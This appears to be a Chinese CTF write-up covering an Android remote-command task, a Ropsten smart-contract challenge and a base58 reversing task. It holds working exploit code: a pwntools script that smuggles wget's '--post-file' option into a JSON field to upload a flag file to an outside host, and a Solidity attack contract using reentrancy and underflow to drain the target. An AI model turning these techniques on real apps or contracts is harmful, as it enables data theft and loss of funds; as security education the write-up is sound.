高校战“疫”网络安全分享赛 安卓远程exploit和区块链都挺有意思的
合约交易的时候gas limit一定要给够。
GetFlag 安卓题,App启动之后在8080端口提供服务,接受json格式的字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private boolean Checkpayload (String input, int ran_int) throws Exception { JSONObject v0 = new JSONObject(input); if ((v0.has("message" )) && (v0.has("check" ))) { input = v0.getString("message" ); if (new BigInteger(1 , MainActivity.HmacSHA1Encrypt(input, Integer.toString(ran_int))).toString(16 ).equals(v0.getString("check" ))) { input = input.replaceAll("-o" , "" ).replaceAll("-O" , "" ).replaceAll("-d" , "" ).replaceAll("-P" , "" ); try { Runtime v5 = Runtime.getRuntime(); v5.exec("wget " + input); } catch (IOException v4) { v4.printStackTrace(); } return 1 ; } } return 0 ; }
也不知道为什么,他就是要给一个AOSP中根本不存在的wget
让你利用,而且因为没有调用bash
所以是只能执行wget
的,这里利用wget
的--post-file
参数,在下载文件之前向服务器上传文件来泄露flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *import hashlibimport hmacFLAG_PATH = '/data/data/com.xuanxuan.getflag/files/flag' def hmacsha1 (m, k ): key = bytes (k) message = bytes (m) digester = hmac.new(key, message, hashlib.sha1) return digester.digest().encode('hex' ) print hmacsha1('test' , '123' )p = remote("212.64.66.177" ,8080 ) rand = int (p.recvline()) print ("randint: " + str (rand))cmd = "http://ip/ --post-file /data/data/com.xuanxuan.getflag/files/flag" check_sum = hmacsha1(cmd, str (rand)) payload = '''{"message": "''' + cmd + '''", "check": "''' + check_sum + '''"}''' print payloadp.sendline(payload)
OwnerMoney 区块链逆向+整数下溢+函数可重入造成的竟态条件利用
目标合约:0x40a590b70790930ceed4d148bf365eea9e8b35f4@ropsten
原题是强网杯的babybank
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 # # Panoramix v4 Oct 2019 # Decompiled source of ropsten:0x40a590b70790930ceed4d148bF365eeA9e8b35F4 # # Let's make the world open source # const eth_balance = eth.balance(this.address) def storage: stor0 is addr at storage 0 stor1 is addr at storage 1 balanceOf is mapping of uint256 at storage 2 stor3 is mapping of uint8 at storage 3 bonus is mapping of uint256 at storage 4 def bonus(addr _param1): # not payable return bonus[_param1] def status(address _param1): # not payable return bool(stor3[_param1]) def balanceOf(address _owner): # not payable return balanceOf[_owner] def unknownb4de8673(addr _param1): # not payable return balanceOf[addr(_param1)] # # Regular functions # def _fallback() payable: # default function revert def unknown11f776bc(): # not payable require caller != tx.origin require caller % 4096 == 4095 if bool(stor3[caller]) == 1: stor3[caller] = 0 stor0 = caller def buy() payable: require caller != tx.origin require caller % 4096 == 4095 require not bonus[caller] require not balanceOf[caller] require call.value == 1 balanceOf[caller] = 100 bonus[caller] = 1 return 1 def payforflag(string _param1): # not payable require caller == stor0 require bonus[caller] >= 100 stor0 = stor1 bonus[caller] = 0 call 0x4cfbdfe01daef460b925773754821e7461750923 with: value eth.balance(this.address) wei gas 2300 * is_zero(value) wei if not ext_call.success: revert with ext_call.return_data[0 len return_data.size] log 0x296b9274: Array(len=_param1.length, data=_param1[all]) def change(address _toToken): # not payable require ext_code.size(caller) call caller.isOwner(address owner) with: gas gas_remaining wei args _toToken if not ext_call.success: revert with ext_call.return_data[0 len return_data.size] require return_data.size >= 32 if not ext_call.return_data[0]: require ext_code.size(caller) call caller.isOwner(address owner) with: gas gas_remaining wei args _toToken if not ext_call.success: revert with ext_call.return_data[0 len return_data.size] require return_data.size >= 32 stor3[caller] = uint8(bool(ext_call.return_data) def transfer(address _to, uint256 _value): # not payable require _to require _value > 0 require balanceOf[caller] >= _value require balanceOf[addr(_to)] + _value > balanceOf[addr(_to)] balanceOf[caller] -= _value balanceOf[addr(_to)] += _value require balanceOf[caller] + balanceOf[addr(_to)] == balanceOf[caller] + balanceOf[addr(_to)] return 1 def sell(uint256 _amount): # not payable require _amount >= 200 require bonus[caller] > 0 require balanceOf[caller] >= _amount require eth.balance(this.address) >= _amount call caller with: value _amount wei gas gas_remaining wei require this.address require _amount > 0 require balanceOf[caller] >= _amount require balanceOf[addr(this.address)] + _amount > balanceOf[addr(this.address)] balanceOf[caller] -= _amount balanceOf[addr(this.address)] += _amount require balanceOf[caller] + balanceOf[addr(this.address)] == balanceOf[caller] + balanceOf[addr(this.address)] bonus[caller]-- return 1
说实话调用过程挺绕的,自己第二次接触也没想法。但是根据交易记录找到了上一只队伍的攻击合约,逆了出来,可能是Oops或者nebula的。
话说回来,难道这就是区块链时代的在线骑马???
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 // malicious contract pragma solidity ^0.4.23; interface VictimInterface { function change(address addr) external; function status(address addr) external returns (bool); function payforflag(string b64email) external; function buy() external payable; function transfer(address addr,uint256 amount) external; function balance0f(address addr) external returns (uint256); function sell(uint256 amount) external; } contract attacker { VictimInterface constant private target = VictimInterface(0x40a590b70790930ceed4d148bF365eeA9e8b35F4); uint256 private stor0 = 0; uint256 private stor1 = 0; function isOwner(address _owner) public returns (bool) { if (stor0 != 0) { return true; } stor0 = 1; return false; } function test3(address ad) public payable{ ad.call(0x75529fe4); } function step1() public payable { target.buy.value(msg.value)(); } function step2() public { target.change(0); address a = 0x40a590b70790930ceed4d148bf365eea9e8b35f4; a.call(bytes4(0x11f776bc)); } function step3() public { target.sell(200); } function step4() public { target.payforflag('ZngudGlAb3V0bG9vay5jb20='); } function balanceBack(address ad) public { target.transfer(ad, target.balance0f(address(this))); } function() external payable { if (stor1 == 0) { stor1 = 1; target.sell(200); } } } contract BaiGei{ function kill(address ad) public { selfdestruct(ad); } function getMoney() public payable{} }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from ethereum import utilsimport os, sysdef generate_eoa1 (): priv = utils.sha3(os.urandom(4096 )) addr = utils.checksum_encode(utils.privtoaddr(priv)) while not addr.lower().endswith("fff" ): priv = utils.sha3(os.urandom(4096 )) addr = utils.checksum_encode(utils.privtoaddr(priv)) print ('Address: {}\nPrivate Key: {}' .format (addr, priv.hex ())) def generate_eoa2 (): priv = utils.sha3(os.urandom(4096 )) addr = utils.checksum_encode(utils.privtoaddr(priv)) while not utils.decode_addr(utils.mk_contract_address(addr, 0 )).endswith("fff" ): priv = utils.sha3(os.urandom(4096 )) addr = utils.checksum_encode(utils.privtoaddr(priv)) print ('Address: {}\nPrivate Key: {}' .format (addr, priv.hex ())) if __name__ == "__main__" : if sys.argv[1 ] == "1" : generate_eoa1() elif sys.argv[1 ] == "2" : generate_eoa2() else : print ("Please enter valid argument" )
generate_eoa1
生成一个满足要求的账户,generate_eoa2
生成一个账户,他的第一个部署的合约地址满足要求。
用generate_eoa2
部署4个合约然后转账到同一个合约让balance
达到400,之后依次直到payforflag
,注意目标合约大部分公开函数都不是payable。如果遭遇gas问题可以用BaiGei
间接给目标合约转0.2ether以防万一。同时call
的时候value
和gas
不一样,value
是转账给的,gas
是结算的手续费。如果value
参数始终不正常,请用remix右边栏的value
来指定并调用代理函数,最后call.value(msg.value)()
这样来转发参数。
对于只知道函数签名的函数调用,用addr(contract_addr).call(bytes4(func_sig)[, parameters])
完成调用。
如果一笔交易中部分出错,可以查看目标合约的inernal transaction
,看看红叉叉里面是什么原因。
fxck! 没什么好说的,base58变表裸题,出题风格防侧信道攻击。
全程两个位置下断点,一个0x400EB5看表,一个0x400C23看目标字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 __b58chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ123456789abcdefghijkmnopqrstuvwxyz' __b58base = len (__b58chars) def b58decode (v ): """ decode v into a string of len bytes """ long_value = 0L for (i, c) in enumerate (v[::-1 ]): long_value += __b58chars.find(c) * (__b58base ** i) result = '' while long_value >= 256 : div, mod = divmod (long_value, 256 ) result = chr (mod) + result long_value = div result = chr (long_value) + result nPad = 0 for c in v: if c == __b58chars[0 ]: nPad += 1 else : break result = chr (0 ) * nPad + result return result print b58decode('4VyhuTqRfYFnQ85Bcw5XcDr3ScNBjf5CzwUdWKVM7SSVqBrkvYGt7SSUJe' )